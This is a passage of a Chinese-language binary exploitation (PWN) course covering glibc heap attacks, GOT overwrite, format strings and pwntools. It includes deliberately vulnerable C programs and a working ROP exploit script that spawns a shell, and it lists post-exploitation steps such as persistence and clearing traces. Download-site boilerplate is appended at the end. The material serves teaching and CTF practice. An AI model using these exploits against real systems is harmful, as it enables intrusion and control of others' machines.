hù)現(xiàn)代系統(tǒng)中,ELF二進(jìn)制文件通常啟用了RELRO(RelocationRead-Only)保護(hù),它有兩種級別:PartialRELRO:保護(hù)ELF頭和.got.plt前的部分(如.got),但.got.plt仍可寫FullRELRO:將整個GOT表設(shè)為只讀,完全阻止GOT覆寫攻擊在實際漏洞利用中,需要首先檢查目標(biāo)程序的RELRO保護(hù)級別,使用checksec命令可以查看這些信息。對于啟用FullRELRO的程序,需要尋找其他攻擊向量。第五章:堆漏洞入門與進(jìn)階堆漏洞是現(xiàn)代漏洞利用技術(shù)中最復(fù)雜也最強(qiáng)大的類型之一。與棧溢出不同,堆漏洞利用涉及動態(tài)內(nèi)存分配機(jī)制的復(fù)雜細(xì)節(jié),攻擊手法也更加多樣化和靈活。本章將帶領(lǐng)大家從基礎(chǔ)概念出發(fā),逐步深入堆漏洞利用的各種技術(shù)和方法。堆內(nèi)存基礎(chǔ)我們將首先介紹Linux系統(tǒng)中的堆內(nèi)存管理機(jī)制,包括ptmalloc2分配器的工作原理、堆塊結(jié)構(gòu)、空閑塊管理等基礎(chǔ)知識,為后續(xù)的漏洞利用打下堅實基礎(chǔ)。常見堆漏洞類型本章將詳細(xì)講解幾種典型的堆漏洞類型,如堆溢出、use-after-free、doublefree等,分析它們的成因、利用條件和基本利用方法。高級利用技術(shù)在掌握基礎(chǔ)知識后,我們將學(xué)習(xí)一些高級的堆漏洞利用技術(shù),如fastbinattack、unsortedbinattack、tcacheattack等,這些技術(shù)在CTF比賽和實際漏洞利用中都有廣泛應(yīng)用。本章的學(xué)習(xí)目標(biāo)包括:理解Linux堆內(nèi)存管理機(jī)制的工作原理掌握各種堆漏洞的特點和基本利用思路學(xué)會使用調(diào)試工具分析堆內(nèi)存狀態(tài)掌握常見的堆漏洞利用技術(shù)了解不同glibc版本中堆管理機(jī)制的差異及其對漏洞利用的影響堆漏洞利用是一個深度和廣度都很大的主題,本章將重點關(guān)注基本原理和常用技術(shù),為后續(xù)深入學(xué)習(xí)打下基礎(chǔ)。通過理論講解和實際案例分析相結(jié)合的方式,幫助學(xué)員建立起對堆漏洞的系統(tǒng)性理解。堆結(jié)構(gòu)與常用函數(shù)malloc/free基本原理在Linux系統(tǒng)中,堆內(nèi)存管理主要由glibc中的ptmalloc2實現(xiàn),其核心函數(shù)為malloc和free:malloc函數(shù)用于向系統(tǒng)申請指定大小的內(nèi)存,基本調(diào)用形式為:void*malloc(size_tsize);malloc的主要工作流程:檢查對應(yīng)大小的空閑鏈表中是否有可用塊如有,直接從空閑鏈表中取出并返回如無,向系統(tǒng)申請更多內(nèi)存(通過sbrk或mmap)進(jìn)行必要的對齊和分割操作返回可用的內(nèi)存指針free函數(shù)用于釋放之前分配的內(nèi)存,基本調(diào)用形式為:voidfree(void*ptr);free的主要工作流程:檢查釋放的指針是否有效獲取堆塊的元數(shù)據(jù)進(jìn)行必要的合并操作(前后有空閑塊時)將塊加入適當(dāng)?shù)目臻e鏈表除了基本的malloc和free,glibc還提供了其他內(nèi)存管理函數(shù):calloc:分配內(nèi)存并初始化為零realloc:調(diào)整已分配內(nèi)存的大小memalign/posix_memalign:分配對齊的內(nèi)存堆塊結(jié)構(gòu)與管理機(jī)制堆內(nèi)存被分割成多個"塊"(chunk)進(jìn)行管理,每個塊都有特定的結(jié)構(gòu):堆塊頭部元數(shù)據(jù)每個堆塊都包含一個頭部,存儲關(guān)鍵元數(shù)據(jù):prev_size:前一個塊的大?。ㄈ绻皦K空閑)size:當(dāng)前塊的大小及標(biāo)志位標(biāo)志位:最低3位用作標(biāo)志PREV_INUSE(P):前一個塊是否在使用IS_MMAPPED(M):塊是否通過mmap分配NON_MAIN_ARENA(A):塊是否屬于主arena空閑塊結(jié)構(gòu)當(dāng)塊被釋放時,其用戶數(shù)據(jù)區(qū)域會被重用來存儲空閑鏈表指針:fd(forwardpointer):指向鏈表中的下一個空閑塊bk(backwardpointer):指向鏈表中的上一個空閑塊空閑塊管理ptmalloc2使用多種空閑鏈表管理不同大小的塊:fastbins:小塊的快速回收和復(fù)用unsortedbin:剛釋放的塊,尚未分類smallbins:固定大小的小塊largebins:不同大小的大塊tcache:線程本地緩存,加速內(nèi)存分配(較新版本)堆調(diào)試技巧在調(diào)試堆漏洞時,以下GDB命令和技巧非常有用:使用pwndbg/gef的heap相關(guān)命令:heapchunks,heapbins等設(shè)置watchpoint監(jiān)控關(guān)鍵堆結(jié)構(gòu)變化使用libheap插件輔助分析設(shè)置符號斷點:bmalloc,bfree等熟練使用這些工具可以大大提高堆漏洞分析和利用的效率。堆漏洞經(jīng)典案例use-after-free漏洞泄露地址(heap2.c)use-after-free(UAF)是一種常見的堆漏洞,當(dāng)程序釋放內(nèi)存后仍繼續(xù)使用該內(nèi)存時產(chǎn)生。//heap2.c簡化版structuser{charname[16];void(*func)(void);};voidnormal_func(){puts("正常功能");}voidbackdoor(){system("/bin/sh");}voidcreate_user(structuser*u){strcpy(u->name,"user");u->func=normal_func;}intmain(){structuser*u=malloc(sizeof(structuser));create_user(u);//釋放內(nèi)存free(u);//分配同樣大小的新內(nèi)存,覆蓋之前的區(qū)域char*buf=malloc(sizeof(structuser));read(0,buf,sizeof(structuser));//UAF漏洞:使用已釋放的內(nèi)存u->func();//調(diào)用已被覆蓋的函數(shù)指針return0;}利用思路:程序釋放user結(jié)構(gòu)體后,通過新分配的buf可以控制該區(qū)域構(gòu)造特殊輸入,覆蓋原func指針為backdoor函數(shù)地址當(dāng)程序調(diào)用u->func()時,實際執(zhí)行backdoor函數(shù)doublefree與fastbin攻擊(heap3.c)doublefree是指同一個內(nèi)存塊被釋放兩次,這會破壞堆管理器的數(shù)據(jù)結(jié)構(gòu),導(dǎo)致安全問題。//heap3.c簡化版intmain(){char*a=malloc(0x10);char*b=malloc(0x10);free(a);free(b);free(a);//doublefree!char*c=malloc(0x10);char*d=malloc(0x10);char*e=malloc(0x10);//這個分配會返回a的地址read(0,e,0x20);//寫入控制數(shù)據(jù)return0;}利用思路:free(a)后,a進(jìn)入fastbinfree(b)后,b進(jìn)入fastbin,位于a前面再次free(a),a再次進(jìn)入fastbin,形成鏈表環(huán)第一次malloc返回b第二次malloc返回a第三次malloc也返回a!這導(dǎo)致同一塊內(nèi)存被分配兩次通過向e寫入數(shù)據(jù),可以修改其他關(guān)鍵數(shù)據(jù)結(jié)構(gòu)fastbinattack的核心是利用doublefree構(gòu)造堆塊重疊,然后通過重疊塊修改關(guān)鍵數(shù)據(jù)結(jié)構(gòu)或函數(shù)指針。這兩個經(jīng)典案例展示了堆漏洞的基本利用思路。在實際攻擊中,常常需要結(jié)合程序邏輯和內(nèi)存布局,設(shè)計更復(fù)雜的利用鏈。重要的是理解底層原理,掌握堆內(nèi)存管理的工作機(jī)制,才能靈活應(yīng)對各種堆漏洞場景。堆利用的挑戰(zhàn)堆漏洞利用通常比棧溢出更復(fù)雜,主要因為:堆布局不確定,受到多種因素影響不同版本的glibc實現(xiàn)細(xì)節(jié)有差異需要精確控制內(nèi)存分配和釋放序列漏洞窗口可能很小,需要精確操作成功的堆漏洞利用往往需要耐心調(diào)試和反復(fù)嘗試。堆漏洞高級利用uaf結(jié)合fastbin攻擊獲取shell(heap4.c)這個案例展示了如何結(jié)合使用多種堆漏洞技術(shù)實現(xiàn)更復(fù)雜的攻擊://heap4.c簡化版structnote{char*content;intsize;};structnote*notes[10];intnote_count=0;voidadd_note(){if(note_count>=10)return;intsize;printf("輸入大小:");scanf("%d",&size);structnote*n=malloc(sizeof(structnote));n->content=malloc(size);n->size=size;printf("輸入內(nèi)容:");read(0,n->content,size);notes[note_count++]=n;}voiddelete_note(){intidx;printf("輸入索引:");scanf("%d",&idx);if(idx<0||idx>=note_count)return;free(notes[idx]->content);free(notes[idx]);//未清空指針-UAF漏洞}voidedit_note(){intidx;printf("輸入索引:");scanf("%d",&idx);if(idx<0||idx>=note_count)return;printf("輸入新內(nèi)容:");read(0,notes[idx]->content,notes[idx]->size);}intmain(){while(1){intchoice;menu();scanf("%d",&choice);switch(choice){case1:add_note();break;case2:delete_note();break;case3:edit_note();break;case4:exit(0);}}return0;}漏洞利用思路:創(chuàng)建并刪除一個note,由于未清空指針,形成UAF利用fastbin分配規(guī)則,使新分配的note->content與之前釋放的note結(jié)構(gòu)體重疊通過編輯content,修改note結(jié)構(gòu)體中的函數(shù)指針或size字段構(gòu)造任意地址寫入,例如修改__malloc_hook為one_gadget地址觸發(fā)特定條件,獲取shellunlink攻擊與unsortedbin攻擊詳解這兩種攻擊利用了堆管理器中特定的機(jī)制:unlink攻擊unlink是堆管理器在合并空閑塊時使用的操作,其基本邏輯是:FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;如果能控制P->fd和P->bk,就可以實現(xiàn)任意地址寫入?,F(xiàn)代系統(tǒng)中有保護(hù)機(jī)制,但在特定條件下仍可利用。unsortedbin攻擊當(dāng)chunk被free后,會被放入unsortedbin,其fd和bk會指向bin的地址。這可以用來泄露libc地址。此外,unsortedbinattack利用了bck->fd=chunk操作,可以向任意地址寫入unsortedbin地址,常用于覆蓋global_max_fast等全局變量。高級堆利用技術(shù)通常需要深入理解堆管理器的工作機(jī)制,以及各種特殊情況下的行為。掌握這些技術(shù)需要大量實踐和調(diào)試,建議學(xué)員在虛擬環(huán)境中反復(fù)嘗試不同的利用方法,加深理解。調(diào)試技巧在開發(fā)堆漏洞利用時,以下調(diào)試技巧非常有用:使用MALLOC_CHECK_環(huán)境變量檢測堆錯誤使用pwndbg/gef的heap相關(guān)命令監(jiān)控堆狀態(tài)編寫腳本自動化堆布局操作使用coredump分析程序崩潰原因耐心和系統(tǒng)性是成功利用堆漏洞的關(guān)鍵。從簡單案例開始,逐步挑戰(zhàn)更復(fù)雜的場景。堆溢出與Hook函數(shù)利用1off-by-one漏洞off-by-one是一種特殊的堆溢出漏洞,僅溢出一個字節(jié),通常由邊界條件錯誤引起://典型的off-by-one漏洞charbuffer[8];for(inti=0;i<=8;i++){//應(yīng)為i<8buffer[i]=data[i];}雖然只溢出一個字節(jié),但通過精心構(gòu)造,可以實現(xiàn)強(qiáng)大的攻擊效果:覆蓋下一個chunk的size字段,修改其大小更改下一個chunk的PREV_INUSE標(biāo)志,欺騙堆管理器結(jié)合堆塊重疊,實現(xiàn)更復(fù)雜的攻擊特別是,通過off-by-one修改chunksize的最低字節(jié),可以構(gòu)造堆塊重疊,進(jìn)而實現(xiàn)任意地址讀寫。2__malloc_hook、__free_hook與one_gadget技術(shù)glibc中的malloc和free函數(shù)設(shè)計了鉤子機(jī)制,允許自定義處理函數(shù):__malloc_hook:malloc調(diào)用前會檢查這個函數(shù)指針__free_hook:free調(diào)用前會檢查這個函數(shù)指針攻擊者可以覆蓋這些hook函數(shù)指針,實現(xiàn)控制流劫持。結(jié)合one_gadget技術(shù)(在libc中尋找能直接獲取shell的代碼片段),可以簡化利用過程。常用覆蓋方法:利用fastbinattack控制特定內(nèi)存區(qū)域使用unsortedbinattack修改global_max_fast利用tcachepoisoning直接控制分配位置3tcache攻擊原理與實戰(zhàn)tcache是glibc2.26引入的線程本地緩存機(jī)制,旨在提高內(nèi)存分配效率。然而,其簡化的設(shè)計也帶來了新的攻擊面:tcache中的chunk只保存fd指針,沒有雙向鏈表檢查earlyversions沒有對key的驗證,使攻擊更容易tcache優(yōu)先級高于其他bintcachepoisoning攻擊步驟:控制tcache中chunk的fd指針指向任意地址(如__malloc_hook)連續(xù)分配,使malloc返回目標(biāo)地址寫入shellcode或one_gadget地址tcache的引入使得一些傳統(tǒng)保護(hù)機(jī)制(如double-free檢查)被繞過,在一定程度上簡化了堆利用。堆漏洞利用技術(shù)隨著glibc版本的更新而不斷演變。在學(xué)習(xí)這些技術(shù)時,需要注意不同版本之間的差異,特別是tcache引入后對堆管理機(jī)制的重大變化。熟練掌握這些高級技術(shù)需要反復(fù)實踐和深入理解內(nèi)存管理機(jī)制。實際漏洞利用中,通常需要結(jié)合多種技術(shù),根據(jù)目標(biāo)程序的特點和限制條件,設(shè)計合適的攻擊鏈。建議學(xué)員搭建不同版本的glibc環(huán)境,比較不同版本下堆管理行為的差異,加深對底層機(jī)制的理解。第六章:漏洞綜合利用與自動化腳本在掌握了各類漏洞的基本原理和利用方法后,本章將帶領(lǐng)大家進(jìn)入漏洞利用的綜合應(yīng)用階段。我們將學(xué)習(xí)如何將多種漏洞技術(shù)組合使用,構(gòu)建完整的漏洞利用鏈,并使用自動化工具和腳本提高漏洞利用的效率和可靠性。綜合利用思維真實世界的漏洞利用往往需要結(jié)合多種技術(shù),突破多層防護(hù)。本章將講解如何分析目標(biāo)系統(tǒng)的保護(hù)機(jī)制,設(shè)計合適的利用策略,并將不同的漏洞技術(shù)組合成完整的攻擊鏈。自動化利用工具手動構(gòu)建漏洞利用載荷往往繁瑣且容易出錯。我們將學(xué)習(xí)如何使用pwntools等工具自動化漏洞利用過程,包括連接目標(biāo)、構(gòu)造payload、處理交互等環(huán)節(jié),提高攻擊效率和成功率。實戰(zhàn)案例分析通過分析幾個典型的CTF題目和實際漏洞案例,我們將學(xué)習(xí)如何從漏洞發(fā)現(xiàn)到最終利用的完整流程,加深對漏洞利用技術(shù)的理解和應(yīng)用能力。本章的學(xué)習(xí)目標(biāo)包括:掌握漏洞利用的一般流程和方法論學(xué)會使用pwntools庫進(jìn)行自動化漏洞利用能夠根據(jù)目標(biāo)程序特點選擇合適的攻擊策略理解多種漏洞技術(shù)組合使用的方法提升漏洞分析和利用的實戰(zhàn)能力通過本章的學(xué)習(xí),您將能夠?qū)⑶懊鎸W(xué)到的各種技術(shù)融會貫通,形成系統(tǒng)的漏洞利用能力,為后續(xù)的安全研究和實踐打下堅實基礎(chǔ)。漏洞利用流程總結(jié)1漏洞發(fā)現(xiàn)識別目標(biāo)程序中的潛在安全問題,包括:代碼審計:檢查危險函數(shù)使用模糊測試:自動化發(fā)現(xiàn)程序崩潰點靜態(tài)分析:使用IDAPro等工具分析動態(tài)分析:使用調(diào)試器跟蹤程序行為2環(huán)境搭建為漏洞利用研究準(zhǔn)備合適的環(huán)境:復(fù)現(xiàn)目標(biāo)系統(tǒng)環(huán)境(OS版本、庫版本)配置調(diào)試工具(GDB及插件)準(zhǔn)備輔助工具(IDA、pwntools等)搭建網(wǎng)絡(luò)環(huán)境(如需遠(yuǎn)程攻擊)3漏洞分析深入研究漏洞的成因和影響:確定漏洞類型(棧溢出、格式化字符串等)分析內(nèi)存布局和程序結(jié)構(gòu)識別保護(hù)機(jī)制(ASLR、NX、Canary等)尋找可利用的程序特性或函數(shù)4利用開發(fā)設(shè)計和實現(xiàn)漏洞利用方案:構(gòu)造POC驗證漏洞存在開發(fā)穩(wěn)定可靠的exploit處理各種異常情況優(yōu)化利用代碼,提高成功率5提權(quán)與后續(xù)利用獲取更高權(quán)限并進(jìn)行后續(xù)操作:獲取shell或命令執(zhí)行能力利用本地提權(quán)漏洞獲取管理員權(quán)限建立持久訪問機(jī)制清除攻擊痕跡漏洞利用的關(guān)鍵要素成功的漏洞利用通常需要考慮以下幾個方面:信息收集收集目標(biāo)系統(tǒng)的詳細(xì)信息,包括操作系統(tǒng)版本、庫版本、編譯選項等。這些信息對于選擇合適的攻擊技術(shù)至關(guān)重要。防御繞過針對目標(biāo)系統(tǒng)的保護(hù)機(jī)制設(shè)計繞過策略,如泄露棧canary、突破ASLR、繞過NX等。不同的防護(hù)組合需要不同的攻擊策略。穩(wěn)定性考慮漏洞利用不僅要能成功,還要考慮穩(wěn)定性。避免程序崩潰,處理各種異常情況,確保在不同環(huán)境下都能可靠運(yùn)行。常見挑戰(zhàn)與解決方案在漏洞利用過程中,我們常常會遇到一些挑戰(zhàn),需要特殊的技術(shù)或方法來解決:地址泄露利用格式化字符串、信息泄露函數(shù)或特定的內(nèi)存布局特性有限的溢出空間使用棧遷移、ROP鏈或分階段攻擊特殊字符限制使用編碼技術(shù)或?qū)ふ姨娲鷊adget隨機(jī)化繞過利用partialoverwrite、相對地址或信息泄露沙箱環(huán)境使用seccomp繞過技術(shù)或特殊的shellcode這些挑戰(zhàn)往往需要創(chuàng)新性的解決方案,結(jié)合目標(biāo)程序的特點和限制條件,設(shè)計定制化的攻擊方法。漏洞利用是一個反復(fù)迭代的過程,需要耐心和細(xì)致的工作。從簡單的概念驗證開始,逐步完善和優(yōu)化,最終形成穩(wěn)定可靠的利用方案。記錄每一步的嘗試和結(jié)果,有助于系統(tǒng)性地解決問題。Python與pwntools自動化利用pwntools庫安裝與基礎(chǔ)用法pwntools是一個專為CTF比賽和漏洞利用研究設(shè)計的Python庫,它提供了豐富的功能和便捷的接口,大大簡化了漏洞利用代碼的編寫。安裝方法:pipinstallpwntools基本組件和功能:進(jìn)程交互:process(),remote(),ssh()打包/解包數(shù)據(jù):p32(),p64(),u32(),u64()地址操作:ELF(),ROP()匯編/反匯編:asm(),disasm()日志輸出:(),log.success()實用工具:cyclic(),xor()示例:連接到目標(biāo)并發(fā)送數(shù)據(jù)frompwnimport*#本地進(jìn)程p=process('./vulnerable')#遠(yuǎn)程連接#p=remote('',1337)#發(fā)送數(shù)據(jù)p.sendline(b'Hello')#接收數(shù)據(jù)response=p.recvline()print(response)#交互模式eractive()編寫自動化exp腳本示例下面是一個完整的漏洞利用腳本示例,演示如何使用pwntools自動化棧溢出漏洞利用:#!/usr/bin/envpython3frompwnimport*#配置環(huán)境context.arch='amd64'context.log_level='info'#創(chuàng)建連接elf=ELF('./vulnerable')libc=ELF('./libc.so.6')#本地調(diào)試或遠(yuǎn)程攻擊LOCAL=TrueifLOCAL:p=process('./vulnerable')gdb.attach(p,'''b*main+50continue''')else:p=remote('',1337)#泄露libc地址defleak_libc():#構(gòu)造ROP鏈泄露puts地址rop=ROP(elf)rop.puts(elf.got['puts'])rop.main()#發(fā)送Payloadpayload=b'A'*72+rop.chain()p.sendlineafter(b'Input:',payload)#接收泄露的地址leaked_puts=u64(p.recvline().strip().ljust(8,b'\x00'))log.success(f"Leakedputs@GLIBC:{hex(leaked_puts)}")#計算libc基址libc.address=leaked_puts-libc.symbols['puts']log.success(f"LIBCbase:{hex(libc.address)}")returnlibc.address#獲取shelldefget_shell():#構(gòu)造system("/bin/sh")調(diào)用rop=ROP(libc)rop.system(next(libc.search(b'/bin/sh')))#發(fā)送Payloadpayload=b'A'*72+rop.chain()p.sendlineafter(b'Input:',payload)#交互式shelleractive()#主攻擊流程leak_libc()get_shell()這個腳本展示了pwntools的強(qiáng)大功能,包括:自動解析ELF文件和libc自動構(gòu)建ROP鏈靈活的交互接口便捷的調(diào)試支持結(jié)構(gòu)化的漏洞利用流程pwntools高級技巧1.使用context.terminal=['tmux','splitw','-h']配置GDB在tmux中啟動2.利用DynELF實現(xiàn)無需libc的地址泄露和利用3.使用flat()函數(shù)簡化payload構(gòu)造4.利用shellcraft模塊生成各種平臺的shellcode5.使用fmtstr_payload()自動構(gòu)造格式化字符串攻擊payload實戰(zhàn)演練:綜合漏洞利用案例結(jié)合棧溢出與格式化字符串在這個案例中,我們將學(xué)習(xí)如何結(jié)合棧溢出和格式化字符串漏洞實現(xiàn)完整的漏洞利用鏈://combined.c簡化版#include#includevoidformat_func(){charbuffer[100];printf("輸入名稱:");read(0,buffer,100);printf("你好,");printf(buffer);//格式化字符串漏洞}voidstack_func(){charbuffer[64];printf("輸入消息:");gets(buffer);//棧溢出漏洞}intmain(){while(1){intchoice;printf("1.格式化功能\n");printf("2.消息功能\n");printf("選擇:");scanf("%d",&choice);getchar();//清除換行符if(choice==1)format_func();elseif(choice==2)stack_func();elsebreak;}return0;}利用思路:首先利用格式化字符串漏洞泄露棧地址和libc地址計算關(guān)鍵函數(shù)地址(如system)和棧保護(hù)值利用棧溢出漏洞,精心構(gòu)造payload繞過棧保護(hù)構(gòu)造ROP鏈調(diào)用system("/bin/sh")獲取shell動態(tài)鏈接與堆漏洞聯(lián)合利用這個案例演示如何結(jié)合GOT表劫持和堆利用技術(shù)://advanced.c簡化版#include#include#includestructnote{char*content;void(*print)(char*);};voidnormal_print(char*content){printf("Note:%s\n",content);}structnote*notes[10];intnote_count=0;voidadd_note(){if(note_count>=10)return;structnote*n=malloc(sizeof(structnote));n->print=normal_print;printf("大小:");intsize;scanf("%d",&size);getchar();n->content=malloc(size);printf("內(nèi)容:");read(0,n->content,size);notes[note_count++]=n;}voiddelete_note(){printf("索引:");intidx;scanf("%d",&idx);getchar();if(idx<0||idx>=note_count)return;free(notes[idx]->content);free(notes[idx]);//未清空指針-UAF漏洞}voidprint_note(){printf("索引:");intidx;scanf("%d",&idx);getchar();if(idx<0||idx>=note_count)return;notes[idx]->print(notes[idx]->content);}voidedit_note(){printf("索引:");intidx;scanf("%d",&idx);getchar();if(idx<0||idx>=note_count)return;printf("新內(nèi)容:");read(0,notes[idx]->content,strlen(notes[idx]->content));}intmain(){setbuf(stdout,NULL);while(1){printf("1.添加筆記\n");printf("2.刪除筆記\n");printf("3.打印筆記\n");printf("4.編輯筆記\n");printf("5.退出\n");printf("選擇:");intchoice;scanf("%d",&choice);getchar();switch(choice){case1:add_note();break;case2:delete_note();break;case3:print_note();break;case4:edit_note();break;case5:exit(0);default:puts("無效選擇");}}return0;}利用思路:利用UAF漏洞和堆布局控制技術(shù),獲取對note結(jié)構(gòu)體的控制修改print函數(shù)指針為puts@plt將content指針修改為puts@got調(diào)用print_note泄露puts實際地址,計算libc基址再次利用UAF修改print函數(shù)指針為system將content內(nèi)容設(shè)為"/bin/sh"調(diào)用print_note執(zhí)行system("/bin/sh")這些綜合案例展示了如何在實際場景中靈活運(yùn)用多種漏洞利用技術(shù),構(gòu)建完整的攻擊鏈。成功的漏洞利用往往需要創(chuàng)造性地結(jié)合多種技術(shù),根據(jù)目標(biāo)程序的特點和限制條件,設(shè)計最合適的攻擊路徑。在實際利用過程中,可能需要多次嘗試不同的堆布局和攻擊順序,以達(dá)到最佳效果。建議在開發(fā)復(fù)雜利用鏈時,將過程分解為多個獨立步驟,逐步驗證和調(diào)試,最后再整合成完整的攻擊流程。第七章:安全防護(hù)與攻防對抗在學(xué)習(xí)了各種漏洞利用技術(shù)后,我們需要了解現(xiàn)代系統(tǒng)中的安全防護(hù)機(jī)制,以及如何在攻防對抗中保持優(yōu)勢。本章將介紹常見的安全防護(hù)技術(shù),分析它們的工作原理和局限性,并探討如何在安全研究中應(yīng)用這些知識。防護(hù)機(jī)制原理我們將詳細(xì)講解ASLR、DEP、棧保護(hù)等常見安全機(jī)制的工作原理、實現(xiàn)方式和保護(hù)效果。了解這些防護(hù)機(jī)制如何阻止或增加漏洞利用的難度,是安全研究的重要基礎(chǔ)。繞過技術(shù)研究針對各種防護(hù)機(jī)制,我們將探討可能的繞過或削弱方法,分析其技術(shù)原理和適用條件。這些知識不僅有助于理解安全邊界,也是提升防御能力的重要參考。實戰(zhàn)經(jīng)驗分享基于實際經(jīng)驗,我們將分享PWN安全研究中的常見誤區(qū)、調(diào)試技巧和學(xué)習(xí)方法,幫助學(xué)員更高效地提升技術(shù)能力,在安全研究中少走彎路。本章的學(xué)習(xí)目標(biāo)包括:理解各種安全防護(hù)機(jī)制的技術(shù)原理掌握針對不同防護(hù)的對抗技術(shù)學(xué)習(xí)如何在實際環(huán)境中評估系統(tǒng)安全性培養(yǎng)全面的安全思維和研究方法安全是一個持續(xù)對抗的過程,深入理解防護(hù)機(jī)制和繞過技術(shù),有助于我們站在更高的視角看待安全問題,無論是進(jìn)行漏洞研究還是系統(tǒng)防護(hù),都能做出更合理的決策。常見防護(hù)機(jī)制介紹1ASLR(地址空間布局隨機(jī)化)ASLR是一種通過隨機(jī)化進(jìn)程地址空間來增加漏洞利用難度的技術(shù):基本原理:每次程序啟動時,堆、棧、共享庫等的加載地址都會隨機(jī)變化保護(hù)效果:使攻擊者難以預(yù)測特定代碼或數(shù)據(jù)的位置實現(xiàn)方式:由操作系統(tǒng)內(nèi)核在加載程序時實現(xiàn)局限性:隨機(jī)化范圍有限,可能被信息泄露漏洞突
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2026年環(huán)境影響評價技術(shù)方法培訓(xùn)
- 2026年農(nóng)民田間學(xué)校教學(xué)方法指南
- 跨境貿(mào)易跨境電商平臺操作手冊
- 2026年酒店收益管理策略優(yōu)化課程
- 財稅制度管理培訓(xùn)課件
- 職業(yè)健康檔案電子化數(shù)據(jù)生命周期管理
- 職業(yè)健康政策下醫(yī)院員工組織承諾的調(diào)節(jié)效應(yīng)
- 職業(yè)健康大數(shù)據(jù)與職業(yè)病防治投入產(chǎn)出趨勢關(guān)聯(lián)
- 青海2025年青海省生態(tài)環(huán)境監(jiān)測中心招聘筆試歷年參考題庫附帶答案詳解
- 邯鄲2025年河北邯鄲工程高級技工學(xué)校招聘8人筆試歷年參考題庫附帶答案詳解
- 2026 年初中英語《狀語從句》專項練習(xí)與答案 (100 題)
- 2026年遼寧省盤錦市高職單招語文真題及參考答案
- 農(nóng)投集團(tuán)安全生產(chǎn)制度
- 近五年貴州中考物理真題及答案2025
- 2026年南通科技職業(yè)學(xué)院高職單招職業(yè)適應(yīng)性測試備考試題含答案解析
- 2025年黑龍江省大慶市中考數(shù)學(xué)試卷
- 2025年廣西職業(yè)師范學(xué)院招聘真題
- 山東煙草2026年招聘(197人)考試備考試題及答案解析
- 中遠(yuǎn)海運(yùn)集團(tuán)筆試題目2026
- 扦插育苗技術(shù)培訓(xùn)課件
- 妝造店化妝品管理制度規(guī)范
評論
0/150
提交評論